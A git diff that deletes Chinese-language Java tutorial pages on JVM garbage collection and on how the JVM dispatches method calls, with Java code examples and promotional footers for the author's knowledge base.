3、美团技术专家:[G1 GC 的一些关键技术](https://tech.meituan.com/2016/09/23/g1.html) -> 4、极客时间:[为什么 G1 被叫做 GC 中的王](https://time.geekbang.org/column/article/703481) -> 5、得物技术:[ZGC 关键技术分析](https://mp.weixin.qq.com/s/W-RDY1mLDQG86hlLMNM0IQ) -> 6、美团技术:[ZGC 的探索与实践](https://tech.meituan.com/2020/08/06/new-zgc-practice-in-meituan.html) -> 7、CoderW:[ZGC 垃圾收集器](https://mp.weixin.qq.com/s/FIr6r2dcrm1pqZj5Bubbmw) - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括 Java 基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM 等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/gc.md b/docs/src/jvm/gc.md deleted file mode 100644 index bd39ba9b89..0000000000 --- a/docs/src/jvm/gc.md +++ /dev/null @@ -1,361 +0,0 @@ ---- -title: 深入理解 JVM 的垃圾回收机制 -shortTitle: 深入理解垃圾回收机制 -category: - - Java核心 -tag: - - Java虚拟机 -description: 本篇内容我们从头到尾讲了一遍 JVM 的垃圾回收机制,包括垃圾回收的概念、垃圾判断算法、垃圾收集算法、Stop The World、新生代和老年代等等。 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,垃圾回收,gc,垃圾回收机制,垃圾回收算法 ---- - - -记得以前有这样一副动图,用来嘲笑 JVM 的垃圾回收机制,大致的意思就是,JVM 的垃圾回收机制很工业化,但是好像是在做无用功,垃圾回收不彻底(😂)。 - -![](https://cdn.paicoding.com/stutymore/gc-gc.gif) - -C/C++ 虽然需要手动释放内存,但开发者信誓旦旦,认为自己一定能清理得很彻底。那这次,我们就从头到尾来详细地聊一聊 JVM 的垃圾回收机制,看看到底如何。 - -## 垃圾回收的概念 - -垃圾回收(Garbage Collection,GC),顾名思义就是释放垃圾占用的空间,防止内存爆掉。有效的使用可以使用的内存,对内存[堆](https://javabetter.cn/jvm/neicun-jiegou.html)中已经死亡的或者长时间没有使用的对象进行清除和回收。 - -Java 语言出来之前,大家都在拼命的写 C 或者 C++ 的程序,而此时存在一个很大的矛盾,C++ 等语言创建对象要不断的去开辟空间,不用的时候又需要不断的去释放空间,既要写构造函数,又要写析构函数。 - -> 构造函数和 Java 中的构造方法类似,用来创建对象,析构函数和 Java 中的 finalize 方法有一点类似,可以在对象被垃圾回收器回收之前执行清理操作,但不推荐,因为 finalize 的执行时机并不确定。 - -于是,有人就提出,能不能写一段程序实现这块功能,每次创建对象、释放内存空间的时候复用这段代码? - -牛人还是多啊,1960 年,基于 MIT 的 Lisp 首先提出了垃圾回收的概念,用于处理 C 语言等不停的析构操作,Java 的垃圾回收机制算是发扬光大了。 - -> [Lisp](https://lisp-lang.org/) 是一种函数式编程语言,我从官网上截幅图大家感受下。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227094028.png) - -## 垃圾判断算法 - -既然 JVM 要做垃圾回收,就要搞清楚什么是垃圾,什么不是垃圾。通常会有这么几种算法来确定一个对象是否是垃圾,这块也是面试当中常考的一个知识点,大家一定要掌握。 - -- 引用计数算法 -- 可达性分析算法 - -### 引用计数算法 - -引用计数算法(Reachability Counting)是通过在对象头中分配一个空间来保存该对象被引用的次数(Reference Count)。 - -如果该对象被其它对象引用,则它的引用计数加 1,如果删除对该对象的引用,那么它的引用计数就减 1,当该对象的引用计数为 0 时,那么该对象就会被回收。 - -```java -String s = new String("沉默王二"); -``` - -我们来创建一个[字符串](https://javabetter.cn/string/string-source.html),这时候"沉默王二"有一个引用,就是 s。此时 Reference Count 为 1。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227095408.png) - -然后将 s 设置为 null。 - -```java -s = null; -``` - -这时候"沉默王二"的引用次数就等于 0 了,在引用计数算法中,意味着这块内容就需要被回收了。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227095728.png) - -引用计数算法将垃圾回收分摊到整个应用程序的运行当中,而不是集中在垃圾收集时。因此,采用引用计数的垃圾收集不属于严格意义上的"Stop-The-World"的垃圾收集机制(随后我们会细讲)。 - -引用计数算法看似很美好,但实际上它存在一个很大的问题,那就是无法解决循环依赖的问题。来看下面的代码。 - -```java -public class ReferenceCountingGC { - - public Object instance; // 对象属性,用于存储对另一个 ReferenceCountingGC 对象的引用 - - public ReferenceCountingGC(String name) { - // 构造方法 - } - - public static void testGC() { - // 创建两个 ReferenceCountingGC 对象 - ReferenceCountingGC a = new ReferenceCountingGC("沉默王二"); - ReferenceCountingGC b = new ReferenceCountingGC("沉默王三"); - - // 使 a 和 b 相互引用 - a.instance = b; - b.instance = a; - - // 将 a 和 b 设置为 null - a = null; - b = null; - - // 这个位置是垃圾回收的触发点 - } -} -``` - -代码中创建了两个 ReferenceCountingGC 对象 a 和 b。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227103018.png) - -然后使它们相互引用。接着,将这两个对象的引用设置为 null,理论上它们会在接下来被垃圾回收器回收。但由于它们相互引用着对方,导致它们的引用计数永远都不会为 0,通过引用计数算法,也就永远无法通知 GC 收集器回收它们。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227103102.png) - -### 可达性分析算法 - -可达性分析算法(Reachability Analysis)的基本思路是,通过 GC Roots 作为起点,然后向下搜索,搜索走过的路径被称为 Reference Chain(引用链),当一个对象到 GC Roots 之间没有任何引用相连时,即从 GC Roots 到该对象节点不可达,则证明该对象是需要垃圾收集的。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227104036.png) - -通过可达性算法,成功解决了引用计数无法解决的问题-“循环依赖”,只要你无法与 GC Root 建立直接或间接的连接,系统就会判定你为可回收对象。 - -1. 推荐阅读:[GC Roots 是什么?](https://blog.csdn.net/weixin_38007185/article/details/108093716) -2. 推荐阅读:[R 大的所谓“GC roots”](https://www.zhihu.com/question/53613423/answer/135743258) - -所谓的 GC Roots,就是一组必须活跃的引用,不是对象,它们是程序运行时的起点,是一切引用链的源头。在 Java 中,GC Roots 包括以下几种: - -- 虚拟机栈中的引用(方法的参数、局部变量等) -- 本地方法栈中 JNI 的引用 -- 类静态变量 -- 运行时常量池中的常量(String 或 Class 类型) - -大家可以回想一下我们前面讲过的[JVM 运行时数据区](https://javabetter.cn/jvm/neicun-jiegou.html),关联起来就更容易理解了。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20231227111238.png) - -#### 1、虚拟机栈中的引用(方法的参数、局部变量等) - -来看下面这段代码: - -```java -public class StackReference { - public void greet() { - Object localVar = new Object(); // 这里的 localVar 是一个局部变量,存在于虚拟机栈中 - System.out.println(localVar.toString()); - } - - public static void main(String[] args) { - new StackReference().greet(); - } -} -``` - -在 greet 方法中,localVar 是一个局部变量,存在于虚拟机栈中,可以被认为是 GC Roots。 - -在 greet 方法执行期间,localVar 引用的对象是活跃的,因为它是从 GC Roots 可达的。 - -当 greet 方法执行完毕后,localVar 的作用域结束,localVar 引用的 Object 对象不再由任何 GC Roots 引用(假设没有其他引用指向这个对象),因此它将有资格作为垃圾被回收掉 😁。 - -#### 2、本地方法栈中 JNI 的引用 - -Java 通过 JNI(Java Native Interface)提供了一种机制,允许 Java 代码调用本地代码(通常是 C 或 C++ 编写的代码)。 - -当调用 Java 方法时,虚拟机会创建一个栈帧并压入虚拟机栈,而当它调用本地方法时,虚拟机会通过动态链接直接调用指定的本地方法。 - -![pecuyu:动态链接](https://cdn.paicoding.com/stutymore/gc-20240321085719.png) - -JNI 引用是在 Java 本地接口(JNI)代码中创建的引用,这些引用可以指向 Java 堆中的对象。 - -```java -// 假设的JNI方法 -public native void nativeMethod(); - -// 假设在C/C++中实现的本地方法 -/* - * Class: NativeExample - * Method: nativeMethod - * Signature: ()V - */ -JNIEXPORT void JNICALL Java_NativeExample_nativeMethod(JNIEnv *env, jobject thisObj) { - jobject localRef = (*env)->NewObject(env, ...); // 在本地方法栈中创建JNI引用 - // localRef 引用的Java对象在本地方法执行期间是活跃的 -} -``` - -在本地(C/C++)代码中,localRef 是对 Java 对象的一个 JNI 引用,它在本地方法执行期间保持 Java 对象活跃,可以被认为是 GC Roots。 - -一旦 JNI 方法执行完毕,除非这个引用是全局的(Global Reference),否则它指向的对象将会被作为垃圾回收掉(假设没有其他地方再引用这个对象)。 - -#### 3、类静态变量 - -来看下面这段代码: - -```java -public class StaticFieldReference { - private static Object staticVar = new Object(); // 类静态变量 - - public static void main(String[] args) { - System.out.println(staticVar.toString()); - } -} -``` - -StaticFieldReference 类中的 staticVar 引用了一个 Object 对象,这个引用存储在元空间,可以被认为是 GC Roots。 - -只要 StaticFieldReference 类未被卸载,staticVar 引用的对象都不会被垃圾回收。如果 StaticFieldReference 类被卸载(这通常发生在其类加载器被垃圾回收时),那么 staticVar 引用的对象也将有资格被垃圾回收(如果没有其他引用指向这个对象)。 - -#### 4、运行时常量池中的常量 - -来看这段代码: - -```java -public class ConstantPoolReference { - public static final String CONSTANT_STRING = "Hello, World"; // 常量,存在于运行时常量池中 - public static final Class CONSTANT_CLASS = Object.class; // 类类型常量 - - public static void main(String[] args) { - System.out.println(CONSTANT_STRING); - System.out.println(CONSTANT_CLASS.getName()); - } -} -``` - -在 ConstantPoolReference 中,CONSTANT_STRING 和 CONSTANT_CLASS 作为常量存储在运行时常量池。它们可以用来作为 GC Roots。 - -这些常量引用的对象(字符串"Hello, World"和 Object.class 类对象)在常量池中,只要包含这些常量的 ConstantPoolReference 类未被卸载,这些对象就不会被垃圾回收。 - -## Stop The World - -"Stop The World"是 Java 垃圾收集中的一个重要概念。在垃圾收集过程中,JVM 会暂停所有的用户线程,这种暂停被称为"Stop The World"事件。 - -这么做的主要原因是为了防止在垃圾收集过程中,用户线程修改了堆中的对象,导致垃圾收集器无法准确地收集垃圾。 - -值得注意的是,"Stop The World"事件会对 Java 应用的性能产生影响。如果停顿时间过长,就会导致应用的响应时间变长,对于对实时性要求较高的应用,如交易系统、游戏服务器等,这种情况是不能接受的。 - -因此,在选择和调优垃圾收集器时,需要考虑其停顿时间。Java 中的一些垃圾收集器,如 G1 和 ZGC,都会尽可能地减少了"Stop The World"的时间,通过并发的垃圾收集,提高应用的响应性能。 - -总的来说,"Stop The World"是 Java 垃圾收集中必须面对的一个挑战,其目标是在保证内存的有效利用和应用的响应性能之间找到一个平衡。 - -## 垃圾收集算法 - -在确定了哪些垃圾可以被回收后,垃圾收集器要做的事情就是进行垃圾回收,但是这里面涉及到一个问题是:**如何高效地进行垃圾回收**。由于 JVM 规范并没有对如何实现垃圾收集器做出明确的规定,因此各个厂商的虚拟机可以采用不同的方式来实现垃圾收集器,这里我们讨论几种常见的垃圾收集算法。 - -### 标记清除算法 - -标记清除算法(Mark-Sweep)是最基础的一种垃圾回收算法,它分为 2 部分,先把内存区域中的这些对象进行标记,哪些属于可回收的标记出来(用前面提到的可达性分析法),然后把这些垃圾拎出来清理掉。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227125304.png) - -就像上图一样,清理掉的垃圾就变成可使用的空闲空间,等待被再次使用。逻辑清晰,并且也很好操作,但它存在一个很大的问题,那就是内存碎片。碎片太多可能会导致当程序运行过程中需要分配较大对象时,因无法找到足够的连续内存而不得不提前触发新一轮的垃圾收集。 - -### 复制算法 - -复制算法(Copying)是在标记清除算法上演化而来的,用于解决标记清除算法的内存碎片问题。它将可用内存按容量划分为大小相等的两块,每次只使用其中的一块。 - -当这一块的内存用完了,就将还存活着的对象复制到另外一块上面,然后再把已使用过的内存空间一次清理掉。这样就保证了内存的连续性,逻辑清晰,运行高效。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227125751.png) - -但复制算法也存在一个很明显的问题,合着我这 190 平的大四室,只能当 90 平米的小两室来居住?代价实在太高。 - -### 标记整理算法 - -标记整理算法(Mark-Compact),标记过程仍然与标记清除算法一样,但后续步骤不是直接对可回收对象进行清理,而是让所有存活的对象都向一端移动,再清理掉端边界以外的内存区域。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227130011.png) - -标记整理算法一方面在标记-清除算法上做了升级,解决了内存碎片的问题,也规避了复制算法只能利用一半内存区域的弊端。看起来很美好,但内存变动更频繁,需要整理所有存活对象的引用地址,在效率上比复制算法差很多。 - -### 分代收集算法 - -分代收集算法(Generational Collection)严格来说并不是一种思想或理论,而是融合上述 3 种基础的算法思想,而产生的针对不同情况所采用不同算法的一套组合拳。 - -根据对象存活周期的不同会将内存划分为几块,一般是把 Java 堆分为新生代和老年代,这样就可以根据各个年代的特点采用最适当的收集算法。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227131241.png) - -在新生代中,每次垃圾收集时都发现有大批对象死去,只有少量存活,那就选用复制算法,只需要付出少量存活对象的复制成本就可以完成收集。 - -老年代中因为对象存活率高、没有额外空间对它进行分配担保,就必须使用标记清理或者标记整理算法来进行回收。 - -## 新生代和老年代 - -堆(Heap)是 JVM 中最大的一块内存区域,也是垃圾收集器管理的主要区域。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227132701.png) - -堆主要分为 2 个区域,年轻代与老年代,其中年轻代又分 Eden 区和 Survivor 区,其中 Survivor 区又分 From 和 To 两个区。 - -### Eden 区 - -据 IBM 公司之前的研究表明,有将近 98% 的对象是朝生夕死,所以针对这一现状,大多数情况下,对象会在新生代 Eden 区中进行分配,当 Eden 区没有足够空间进行分配时,JVM 会发起一次 Minor GC,Minor GC 相比 Major GC 更频繁,回收速度也更快。 - -通过 Minor GC 之后,Eden 区中绝大部分对象会被回收,而那些无需回收的存活对象,将会进到 Survivor 的 From 区,如果 From 区不够,则直接进入 To 区。 - -### Survivor 区 - -Survivor 区相当于是 Eden 区和 Old 区的一个缓冲,类似于我们交通灯中的黄灯。 - -#### 1、为啥需要 Survivor 区? - -不就是新生代到老年代吗,直接 Eden 到 Old 不好了吗,为啥要这么复杂。 - -如果没有 Survivor 区,Eden 区每进行一次 Minor GC,存活的对象就会被送到老年代,老年代很快就会被填满。而有很多对象虽然一次 Minor GC 没有消灭,但其实也并不会蹦跶多久,或许第二次,第三次就需要被清除。 - -这时候移入老年区,很明显不是一个明智的决定。 - -所以,Survivor 的存在意义就是减少被送到老年代的对象,进而减少 Major GC 的发生。Survivor 的预筛选保证,只有经历 16 次 Minor GC 还能在新生代中存活的对象,才会被送到老年代。 - -#### 2、Survivor 区为啥划分为两块? - -设置两个 Survivor 区最大的好处就是解决内存碎片化,我们先假设一下,Survivor 只有一个区域会怎样。 - -Minor GC 执行后,Eden 区被清空,存活的对象放到了 Survivor 区,而之前 Survivor 区中的对象,可能也有一些是需要被清除的。那么问题来了,这时候我们怎么清除它们? - -在这种场景下,我们只能标记清除,而我们知道标记清除最大的问题就是内存碎片,在新生代这种经常会消亡的区域,采用标记清除必然会让内存产生严重的碎片化。 - -但因为 Survivor 有 2 个区域,所以每次 Minor GC,会将之前 Eden 区和 From 区中的存活对象复制到 To 区域。第二次 Minor GC 时,From 与 To 职责兑换,这时候会将 Eden 区和 To 区中的存活对象再复制到 From 区域,以此反复。 - -这种机制最大的好处就是,整个过程中,永远有一个 Survivor space 是空的,另一个非空的 Survivor space 是无碎片的。 - -那么,Survivor 为什么不分更多块呢?比方说分成三个、四个、五个? - -显然,如果 Survivor 区再细分下去,每一块的空间就会比较小,容易导致 Survivor 区满,两块 Survivor 区可能是经过权衡之后的最佳方案。 - -### Old 区 - -老年代占据着 2/3 的堆内存空间,只有在 Major GC 的时候才会进行清理,每次 GC 都会触发“Stop-The-World”。内存越大,STW 的时间也越长,所以内存也不仅仅是越大就越好。 - -由于复制算法在对象存活率较高的老年代会进行很多次的复制操作,效率很低,所以老年代这里采用的是标记整理算法。 - -除了上述所说,在内存担保机制下,无法安置的对象会直接进到老年代,以下几种情况也会进入老年代。 - -#### 1、大对象 - -大对象指需要大量连续内存空间的对象,这部分对象不管是不是“朝生夕死”,都会直接进到老年代。这样做主要是为了避免在 Eden 区及 2 个 Survivor 区之间发生大量的内存复制。当你的系统有非常多“朝生夕死”的大对象时,得注意了。 - -#### 2、长期存活对象 - -虚拟机给每个对象定义了一个对象年龄(Age)计数器。正常情况下对象会不断的在 Survivor 的 From 区与 To 区之间移动,对象在 Survivor 区中每经历一次 Minor GC,年龄就增加 1 岁。当年龄增加到 15 岁时,这时候就会被转移到老年代。当然,这里的 15,JVM 也支持进行特殊设置 `-XX:MaxTenuringThreshold=10`。 - -可通过 `java -XX:+PrintFlagsFinal -version | grep MaxTenuringThreshold` 查看默认的阈值。 - -![](https://cdn.paicoding.com/stutymore/gc-20231227133826.png) - -#### 3、动态对象年龄 - -JVM 并不强制要求对象年龄必须到 15 岁才会放入老年区,如果 Survivor 空间中某个年龄段及以上的对象总大小超过了 Survivor 空间的一半,那么该年龄段及以上年龄段的所有对象都会在下一次垃圾回收时被晋升到老年代,无需等你“成年”。 - -有点类似于负载均衡,轮询是负载均衡的一种,保证每台机器都分得同样的请求。看似很均衡,但每台机器的硬件不同,健康状况不同,所以我们可以基于每台机器接收的请求数、响应时间等,来调整负载均衡算法。 - -这种动态调整机制有助于优化内存使用和减少垃圾收集的频率,特别是在处理大量短生命周期对象的应用程序时。 - -## 小结 - -本篇内容我们从头到尾讲了一遍 JVM 的垃圾回收机制,包括垃圾回收的概念、垃圾判断算法、垃圾收集算法、Stop The World、新生代和老年代等等。 - -> - 参考链接 1:[从头到尾再讲一次 Java 的垃圾回收](https://zhuanlan.zhihu.com/p/73628158) -> - 参考链接 2:[详解 Java 的垃圾回收机制](https://segmentfault.com/a/1190000038256027) -> - 参考链接 3:[三大垃圾收集算法](https://www.51cto.com/article/708223.html) - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括 Java 基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM 等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/how-jvm-run-zijiema-zhiling.md b/docs/src/jvm/how-jvm-run-zijiema-zhiling.md deleted file mode 100644 index 0447fd014d..0000000000 --- a/docs/src/jvm/how-jvm-run-zijiema-zhiling.md +++ /dev/null @@ -1,369 +0,0 @@ ---- -title: Java虚拟机是如何执行字节码指令的? -shortTitle: 虚拟机是如何执行字节码指令的? -category: - - Java核心 -tag: - - Java虚拟机 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,虚拟机是如何执行字节码指令的? -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,字节码指令 ---- - - - -执行引擎是 Java 虚拟机最核心的组成部分之一。「虚拟机」是相对于「物理机」的概念,这两种机器都有代码执行的能力,区别是物理机的执行引擎是直接建立在处理器、硬件、指令集和操作系统层面上的,而虚拟机执行引擎是由自己实现的,因此可以自行制定指令集与执行引擎的结构体系,并且能够执行那些不被硬件直接支持的指令集格式。 - -在 Java 虚拟机规范中制定了虚拟机字节码执行引擎的概念模型,这个概念模型成为各种虚拟机执行引擎的统一外观(Facade)。在不同的虚拟机实现里,执行引擎在执行 Java 代码的时候可能会有解释执行(通过解释器执行)和编译执行(通过即时编译器产生本地代码执行)两种方式,也可能两者都有,甚至还可能会包含几个不同级别的编译器执行引擎。但从外观上来看,所有 Java 虚拟机的执行引擎是一致的:输入的是字节码文件,处理过程是字节码解析的等效过程,输出的是执行结果。 - -### 一. 运行时栈帧结构 - - - -### 二. 方法调用 - -方法调用并不等同于方法执行,方法调用阶段唯一的任务就是确定被调用方法的版本(即调用哪一个方法),暂时还不涉及方法内部的具体运行过程。 - -在程序运行时,进行方法调用是最为普遍、频繁的操作。前面说过 Class 文件的编译过程是不包含传统编译中的连接步骤的,一切方法调用在 Class 文件里面存储的都只是符号引用,而不是方法在运行时内存布局中的入口地址(相当于之前说的直接引用)。这个特性给 Java 带来了更强大的动态扩展能力,但也使得 Java 方法调用过程变得相对复杂起来,需要在类加载期间,甚至到运行期间才能确定目标方法的直接引用。 - -#### 解析 - -所有方法调用中的目标方法在 Class 文件里都是一个常量池中的符号引用,在类加载的解析阶段,会将其中一部分符号引用转化为直接引用,这种解析能成立的前提是方法在程序真正运行之前就有一个可确定的调用版本,并且这个方法的调用版本在运行期是不可改变的。话句话说,调用目标在程序代码写好、编译器进行编译时就必须确定下来。这类方法的调用称为解析(Resolution)。 - -Java 语言中符合「编译器可知,运行期不可变」这个要求的方法,主要包括静态方法和私有方法两大类,前者与类型直接关联,后者在外部不可被访问,这两种方法各自的特点决定了它们都不可能通过继承或者别的方式重写其它版本,因此它们都适合在类加载阶段解析。 - -与之相应的是,在 Java 虚拟机里提供了 5 条方法调用字节码指令,分别是: - -* invokestatic:调用静态方法; -* invokespecial:调用实例构造器 方法、私有方法和父类方法; -* invokevirtual:调用所有虚方法; -* invokeinterface:调用接口方法,会在运行时再确定一个实现此接口的对象; -* invokedynamic:先在运行时动态解析出调用点限定符所引用的方法,然后再执行该方法。 - -只要能被 invokestatic 和 invokespecial 指令调用的方法,都可以在解析阶段中确定唯一的调用版本,符合这个条件的有静态方法、私有方法、实例构造器、父类方法 4 类,它们在加载的时候就会把符号引用解析为直接引用。这些方法可以称为非虚方法,与之相反,其它方法称为虚方法(final 方法除外)。 - -Java 中的非虚方法除了使用 invokestatic、invokespecial 调用的方法之外还有一种,就是被 final 修饰的方法。虽然 final 方法是使用 invokevirtual 指令来调用的,但是由于它无法被覆盖,没有其它版本,所以也无需对方法接受者进行多态选择,又或者说多态选择的结果肯定是唯一的。在 Java 语言规范中明确说明了 final 方法是一种非虚方法。 - -解析调用一定是个静态过程,在编译期间就能完全确定,在类装载的解析阶段就会把涉及的符号引用全部转变为可确定的直接引用,不会延迟到运行期再去完成。而分派(Dispatch)调用则可能是静态的也可能是动态的,根据分派依据的宗量数可分为单分派和多分派。这两类分派方式的两两组合就构成了静态单分派、静态多分派、动态单分派、动态多分派 4 种分派组合情况,下面我们再看看虚拟机中的方法分派是如何进行的。 - -#### 分派 - -面向对象有三个基本特征,封装、继承和多态。这里要说的分派将会揭示多态特征的一些最基本的体现,如「重载」和「重写」在 Java 虚拟机中是如何实现的?虚拟机是如何确定正确目标方法的? - -**静态分派** - -在开始介绍静态分派前我们先看一段代码。 - -```java -/** - * 方法静态分派演示 - * - * @author baronzhang - */ -public class StaticDispatch { - - private static abstract class Human { } - - private static class Man extends Human { } - - private static class Woman extends Human { } - - private void sayHello(Human guy) { - System.out.println("Hello, guy!"); - } - - private void sayHello(Man man) { - System.out.println("Hello, man!"); - } - - private void sayHello(Woman woman) { - System.out.println("Hello, woman!"); - } - - public static void main(String[] args) { - - Human man = new Man(); - Human woman = new Woman(); - StaticDispatch dispatch = new StaticDispatch(); - dispatch.sayHello(man); - dispatch.sayHello(woman); - } -} -``` - -运行后这段程序的输出结果如下: - -``` -Hello, guy! -Hello, guy! -``` - -稍有经验的 Java 程序员都能得出上述结论,但为什么我们传递给 sayHello() 方法的实际参数类型是 Man 和 Woman,虚拟机在执行程序时选择的却是 Human 的重载呢?要理解这个问题,我们先弄清两个概念。 - -```java -Human man = new Man(); -``` - -上面这段代码中的「Human」称为变量的静态类型(Static Type),或者叫做外观类型(Apparent Type),后面的「Man」称为变量为实际类型(Actual Type),静态类型和实际类型在程序中都可以发生一些变化,区别是静态类型的变化仅发生在使用时,变量本身的静态类型不会被改变,并且最终的静态类型是在编译期可知的;而实际类型变化的结果在运行期才可确定,编译器在编译程序的时候并不知道一个对象的实际类型是什么。 - -弄清了这两个概念,再来看 StaticDispatch 类中 main() 方法里的两次 sayHello() 调用,在方法接受者已经确定是对象「dispatch」的前提下,使用哪个重载版本,就完全取决于传入参数的数量和数据类型。代码中定义了两个静态类型相同但是实际类型不同的变量,但是虚拟机(准确的说是编译器)在重载时是通过参数的静态类型而不是实际类型作为判定依据的。并且静态类型是编译期可知的,因此在编译阶段, Javac 编译器会根据参数的静态类型决定使用哪个重载版本,所以选择了 sayHello(Human) 作为调用目标,并把这个方法的符号引用写到 man() 方法里的两条 invokevirtual 指令的参数中。 - -所有依赖静态类型来定位方法执行版本的分派动作称为**静态分派**。静态分派的典型应用是方法重载。静态分派发生在编译阶段,因此确定静态分派的动作实际上不是由虚拟机来执行的。 - -另外,编译器虽然能确定方法的重载版本,但是很多情况下这个重载版本并不是「唯一」的,因此往往只能确定一个「更加合适」的版本。**产生这种情况的主要原因是字面量不需要定义,所以字面量没有显示的静态类型,它的静态类型只能通过语言上的规则去理解和推断**。下面的代码展示了什么叫「更加合适」的版本。 - -```java -/** - * @author baronzhang - */ -public class Overlaod { - - static void sayHello(Object arg) { - System.out.println("Hello, Object!"); - } - - static void sayHello(int arg) { - System.out.println("Hello, int!"); - } - - static void sayHello(long arg) { - System.out.println("Hello, long!"); - } - - static void sayHello(Character arg) { - System.out.println("Hello, Character!"); - } - - static void sayHello(char arg) { - System.out.println("Hello, char!"); - } - - static void sayHello(char... arg) { - System.out.println("Hello, char...!"); - } - - static void sayHello(Serializable arg) { - System.out.println("Hello, Serializable!"); - } - - public static void main(String[] args) { - sayHello('a'); - } -} -``` - -上面代码的运行结果为: - -``` -Hello, char! -``` - -这很好理解,‘a’ 是一个 char 类型的数据,自然会寻找参数类型为 char 的重载方法,如果注释掉 sayHello(chat arg) 方法,那么输出结果将会变为: - -``` -Hello, int! -``` - -这时发生了一次类型转换, ‘a’ 除了可以代表一个字符,还可以代表数字 97,因为字符 ‘a’ 的 Unicode 数值为十进制数字 97,因此参数类型为 int 的重载方法也是合适的。我们继续注释掉 sayHello(int arg) 方法,输出变为: - -``` -Hello, long! -``` - -这时发生了两次类型转换,‘a’ 转型为整数 97 之后,进一步转型为长整型 97L,匹配了参数类型为 long 的重载方法。我们继续注释掉 sayHello(long arg) 方法,输出变为: - -``` -Hello, Character! -``` - -这时发生了一次自动装箱, ‘a’ 被包装为它的封装类型 java.lang.Character,所以匹配到了类型为 Character 的重载方法,继续注释掉 sayHello(Character arg) 方法,输出变为: - -``` -Hello, Serializable! -``` - -这里输出之所以为「Hello, Serializable!」,是因为 java.lang.Serializable 是 java.lang.Character 类实现的一个接口,当自动装箱后发现还是找不到装箱类,但是找到了装箱类实现了的接口类型,所以紧接着又发生了一次自动转换。char 可以转型为 int,但是 Character 是绝对不会转型为 Integer 的,他只能安全的转型为它实现的接口或父类。Character 还实现了另外一个接口 java.lang.Comparable,如果同时出现两个参数分别为 Serializable 和 Comparable 的重载方法,那它们在此时的优先级是一样的。编译器无法确定要自动转型为哪种类型,会提示类型模糊,拒绝编译。程序必须在调用时显示的指定字面量的静态类型,如:sayHello((Comparable) 'a'),才能编译通过。继续注释掉 sayHello(Serializable arg) 方法,输出变为: - -``` -Hello, Object! -``` - -这时是 char 装箱后转型为父类了,如果有多个父类,那将在继承关系中从下往上开始搜索,越接近上层的优先级越低。即使方法调用的入参值为 null,这个规则依然适用。继续注释掉 sayHello(Serializable arg) 方法,输出变为: - -``` -Hello, char...! -``` - -7 个重载方法以及被注释得只剩一个了,可见变长参数的重载优先级是最低的,这时字符 ‘a’ 被当成了一个数组元素。 - -前面介绍的这一系列过程演示了编译期间选择静态分派目标的过程,这个过程也是 Java 语言实现方法重载的本质。 - -**动态分派** - -动态分派和多态性的另一个重要体现「重写(Override)」有着密切的关联,我们依旧通过代码来理解什么是动态分派。 - -```java -/** - * 方法动态分派演示 - * - * @author baronzhang - */ -public class DynamicDispatch { - - static abstract class Human { - - abstract void sayHello(); - } - - static class Man extends Human { - - @Override - void sayHello() { - System.out.println("Man say hello!"); - } - } - - static class Woman extends Human { - @Override - void sayHello() { - System.out.println("Woman say hello!"); - } - } - - public static void main(String[] args){ - - Human man = new Man(); - Human woman = new Woman(); - man.sayHello(); - woman.sayHello(); - - man = new Woman(); - man.sayHello(); - } -} -``` - -代码执行结果: - -``` -Man say hello! -Woman say hello! -Woman say hello! -``` - -对于上面的代码,虚拟机是如何确定要调用哪个方法的呢?显然这里不再通过静态类型来决定了,因为静态类型同样都是 Human 的两个变量 man 和 woman 在调用 sayHello() 方法时执行了不同的行为,并且变量 man 在两次调用中执行了不同的方法。导致这个结果的原因是因为它们的实际类型不同。对于虚拟机是如何通过实际类型来分派方法执行版本的,这里我们就不做介绍了,有兴趣的可以去看看原著。 - -我们把这种在运行期根据实际类型来确定方法执行版本的分派称为**动态分派**。 - -**单分派和多分派** - -方法的接收者和方法的参数统称为方法的宗量,这个定义最早来源于《Java 与模式》一书。根据分派基于多少宗量,可将分派划分为**单分派**和**多分派**。 - -单分派是根据一个宗量来确定方法的执行版本;多分派则是根据多余一个宗量来确定方法的执行版本。 - -我们依旧通过代码来理解(代码以著名的 3Q 大战作为背景): - -```java -/** - * 单分派、多分派演示 - * - * @author baronzhang - */ -public class Dispatch { - - static class QQ { } - - static class QiHu360 { } - - static class Father { - - public void hardChoice(QQ qq) { - System.out.println("Father choice QQ!"); - } - - public void hardChoice(QiHu360 qiHu360) { - System.out.println("Father choice 360!"); - } - } - - static class Son extends 